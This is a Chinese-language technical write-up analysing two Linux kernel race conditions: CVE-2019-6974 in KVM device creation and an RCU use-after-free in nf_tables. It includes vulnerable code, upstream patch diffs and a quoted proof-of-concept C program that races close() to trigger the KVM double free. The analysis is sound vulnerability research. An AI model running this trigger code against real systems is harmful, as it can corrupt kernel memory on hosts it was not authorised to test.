# 内核条件竞争漏洞合集 记录分析过的条件竞争漏洞 ## CVE-2019-6974 ### 漏洞概述 获取设备匿名节点文件描述符后再获取设备的引用计数,导致攻击者可以在获取引用计数前关闭该文件描述符,从而导致一个double free。 ### 漏洞分析 首先需要解释一下匿名节点的概念,简单来说匿名节点在文件目录中找不到,无法用open()的方式打开。通常情况下,一个inode(索引节点对象)可以通过硬链接的方式对应多个dentry(目录项对象),一个dentry可以由多个进程打开对应多个file(文件对象),这样file和inode通过dentry对应了起来;而匿名节点省去了中间的dentry,通过`anon_inode_getfd`函数将file和inode直接对应,省去了中间的dentry。 漏洞所在代码如下: ```c //v4.15/source/virt/kvm/kvm_main.c#L2871 static int kvm_ioctl_create_device(struct kvm *kvm, struct kvm_create_device *cd) { struct kvm_device_ops *ops = NULL; struct kvm_device *dev; bool test = cd->flags & KVM_CREATE_DEVICE_TEST; int ret; if (cd->type >= ARRAY_SIZE(kvm_device_ops_table)) return -ENODEV; ops = kvm_device_ops_table[cd->type]; if (ops == NULL) return -ENODEV; if (test) return 0; //1.创建一个保存vm对象引用的设备,borrowed reference //vm的引用计数还未增加。 dev = kzalloc(sizeof(*dev), GFP_KERNEL); if (!dev) return -ENOMEM; dev->ops = ops; dev->kvm = kvm; mutex_lock(&kvm->lock); ret = ops->create(dev, cd->type); if (ret < 0) { mutex_unlock(&kvm->lock); kfree(dev); return ret; } list_add(&dev->vm_node, &kvm->devices); mutex_unlock(&kvm->lock); //2.对设备进行初始化 if (ops->init) ops->init(dev); //3.获取该设备引用(borrowed reference)的文件描述符 ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC); if (ret < 0) { mutex_lock(&kvm->lock); list_del(&dev->vm_node); mutex_unlock(&kvm->lock); ops->destroy(dev); return ret; } //4.增加引用计数 kvm_get_kvm(kvm); cd->fd = ret; return 0; } ``` 漏洞点在于如果攻击者在步骤3执行后,步骤4执行前释放`anon_inode_getfd`获取的文件描述符,此时设备引用计数降为0,再执行步骤4,当设备正常关闭时就可能会导致double free。漏洞发现者指出: > The ownership transfer in step 3 must not happen before the reference to the VM becomes a proper, non-borrowed reference, which only happens in step 4. 在引用未设置成正确引用之前不能进行所有权转移,因为`anon_inode_getfd`获取的文件描述符再正常传递给用户之前是能被用户通过遍历的方式搜索并调用到的。 这里看下poc: ```c // run as `gcc -o kvm_fd_install kvm_fd_install.c -Wall -pthread && ./kvm_fd_install` #include #include #include #include #include #include #include static int predicted_fd = -1; static volatile int ready = 0; static void *do_close_predicted_fd(void *dummy) { ready = 1; while (1) close(predicted_fd); return NULL; /*unreachable*/ } int main(void) { int kvm = open("/dev/kvm", O_RDWR); if (kvm == -1) err(1, "open kvm"); int vm = ioctl(kvm, KVM_CREATE_VM, 0); if (vm < 0) err(1, "KVM_CREATE_VM"); predicted_fd = dup(0); if (predicted_fd == -1) err(1, "dup"); close(predicted_fd); pthread_t thread; if (pthread_create(&thread, NULL, do_close_predicted_fd, NULL)) errx(1, "pthread_create"); while (ready == 0) /*spin*/; struct kvm_create_device cd = { .type = KVM_DEV_TYPE_VFIO, .fd = -1, //outparm .flags = 0 }; if (ioctl(vm, KVM_CREATE_DEVICE, &cd)) err(1, "KVM_CREATE_DEVICE"); printf("created device: %d\n", cd.fd); } ``` 这里面的`dup(0)`是为了获取当前进程中可用的最小文件描述符号,这时在另一个进程循环close该描述符,通过race的方式触发漏洞。 ### 补丁分析 在`anon_inode_getfd`前获取设备引用。 ```diff diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c index 5ecea812cb6a2..585845203db89 100644 --- a/virt/kvm/kvm_main.c +++ b/virt/kvm/kvm_main.c @@ -3000,8 +3000,10 @@ static int kvm_ioctl_create_device(struct kvm *kvm, if (ops->init) ops->init(dev); + kvm_get_kvm(kvm); ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC); if (ret < 0) { + kvm_put_kvm(kvm); mutex_lock(&kvm->lock); list_del(&dev->vm_node); mutex_unlock(&kvm->lock); @@ -3009,7 +3011,6 @@ static int kvm_ioctl_create_device(struct kvm *kvm, return ret; } - kvm_get_kvm(kvm); cd->fd = ret; return 0; } ``` ### 总结 这个漏洞由于竞争时间窗口很小,不太容易触发,不太容易通过fuzz的方法发现,并且利用起来较为困难。有研究[4] 通过使用硬件中断扩大竞争时间窗口达到漏洞的稳定利用,但本人依照论文方法进行复现未成功。 ### 参考 [1] https://bugs.chromium.org/p/project-zero/issues/detail?id=1765 [2] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cfa39381173d5f969daf43582c95ad679189cbc9 [3] https://blog.csdn.net/21cnbao/article/details/115153742 [4] https://www.usenix.org/system/files/sec21fall-lee-yoochan.pdf ## `a499b03`分析 ### 漏洞概述 这个bug是我在翻syzbot崩溃报告时候看到的,是一段加锁后依然产生条件竞争的bug,比较有趣,因此记录一下。 ### 漏洞分析 首先需要了解一下 RCU机制,RCU的全称是"read copy update",是一种高性能的锁机制,但是这种锁机制的使用范围比较窄,只适用于读多写少的情况。RCU的原理是对于被RCU保护的共享数据结构,读者不需要获得任何锁就可以访问它,但写者在访问它时需要先复制一个副本,然后对副本进行修改,最后调用一个回调(callback)函数在适当的时机把指向原来数据的指针指向新的被修改的数据。这个时机就是所有引用该数据的任务都退出对共享数据的操作。 读者使用函数`rcu_read_lock()`标记进入读端临界区,使用函数`rcu_read_unlock()`标记退出读端临界区。读端临界区可以嵌套。 写者可以使用下面4个函数。 - 使用函数`synchronize_rcu()`等待宽限期(grace period)结束,即所有读者退出读端临界区,然后写者执行下一步操作。 - 使用函数`synchronize_rcu_expedited()`等待宽限期结束。和函数`synchronize_rcu()`的区别是:该函数会向其他处理器发送处理器间中断(Inter-Processor Interrupt,IPI)请求,强制宽限期快速结束。我们把强制快速结束的宽限期称为加速宽限期(expedited grace period),把没有强制快速结束的宽限期称为正常宽限期(normal grace period)。 - 使用函数`call_rcu()`注册延后执行的回调函数,把回调函数添加到RCU回调函数链表中,立即返回,不会阻塞。 漏洞的原因在于:`synchronize_rcu()` 后遍历整个链表释放内存。并且`commit_mutex`是针对写者的锁,这导致了可以通过足够多的读者请求使得刚好在`synchronize_rcu()`宽限期结束后申请到内存添加到链表中,这样在遍历链表释放时,释放了读取还未结束的读者的`nft_table`结构,有一定概率造成use-after-free read。 ```c //v5.15-rc2/source/net/netfilter/nf_tables_api.c#L9619 static int nft_rcv_nl_event(struct notifier_block *this, unsigned long event, void *ptr) { struct nftables_pernet *nft_net; struct netlink_notify *n = ptr; struct nft_table *table, *nt; struct net *net = n->net; bool release = false; if (event != NETLINK_URELEASE || n->protocol != NETLINK_NETFILTER) return NOTIFY_DONE; nft_net = nft_pernet(net); mutex_lock(&nft_net->commit_mutex); list_for_each_entry(table, &nft_net->tables, list) {//遍历链表卸载钩子函数 if (nft_table_has_owner(table) && n->portid == table->nlpid) { __nft_release_hook(net, table); release = true; } } if (release) { synchronize_rcu(); list_for_each_entry_safe(table, nt, &nft_net->tables, list) {//再次遍历链表释放table结构体 if (nft_table_has_owner(table) && n->portid == table->nlpid) __nft_release_table(net, table); } } mutex_unlock(&nft_net->commit_mutex); return NOTIFY_DONE; } ``` ### 补丁分析 修补方法如下,先将一部分要释放的table结构体地址存储到栈上,在`synchronize_rcu()`后将存储在栈上的这些结构体释放。如此循环,直到所有结构体释放完毕。 ```diff diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c index 081437dd75b7..33e771cd847c 100644 --- a/net/netfilter/nf_tables_api.c +++ b/net/netfilter/nf_tables_api.c @@ -9599,7 +9599,6 @@ static void __nft_release_table(struct net *net, struct nft_table *table) table->use--; nf_tables_chain_destroy(&ctx); } - list_del(&table->list); nf_tables_table_destroy(&ctx); } @@ -9612,6 +9611,8 @@ static void __nft_release_tables(struct net *net) if (nft_table_has_owner(table)) continue; + list_del(&table->list); + __nft_release_table(net, table); } } @@ -9619,31 +9620,38 @@ static void __nft_release_tables(struct net *net) static int nft_rcv_nl_event(struct notifier_block *this, unsigned long event, void *ptr) { + struct nft_table *table, *to_delete[8]; struct nftables_pernet *nft_net; struct netlink_notify *n = ptr; - struct nft_table *table, *nt; struct net *net = n->net; - bool release = false; + unsigned int deleted; + bool restart = false; if (event != NETLINK_URELEASE || n->protocol != NETLINK_NETFILTER) return NOTIFY_DONE; nft_net = nft_pernet(net); + deleted = 0; mutex_lock(&nft_net->commit_mutex); +again: list_for_each_entry(table, &nft_net->tables, list) { if (nft_table_has_owner(table) && n->portid == table->nlpid) { __nft_release_hook(net, table); - release = true; + list_del_rcu(&table->list); + to_delete[deleted++] = table; + if (deleted >= ARRAY_SIZE(to_delete)) + break; } } - if (release) { + if (deleted) { + restart = deleted >= ARRAY_SIZE(to_delete); synchronize_rcu(); - list_for_each_entry_safe(table, nt, &nft_net->tables, list) { - if (nft_table_has_owner(table) && - n->portid == table->nlpid) - __nft_release_table(net, table); - } + while (deleted) + __nft_release_table(net, to_delete[--deleted]); + + if (restart) + goto again; } mutex_unlock(&nft_net->commit_mutex); ``` ### 总结 这个漏洞告诉我们需要对锁的类型和锁的对象有清楚的认识,在审计代码的过程中不能因为看到这部分代码加锁就下意识认为不会出现race的问题。该漏洞只是use-after-free-read,利用较为困难。 ### 参考 [1] https://syzkaller.appspot.com/bug?extid=8cc940a9689599e10587 [2] https://www.spinics.net/lists/stable/msg504595.html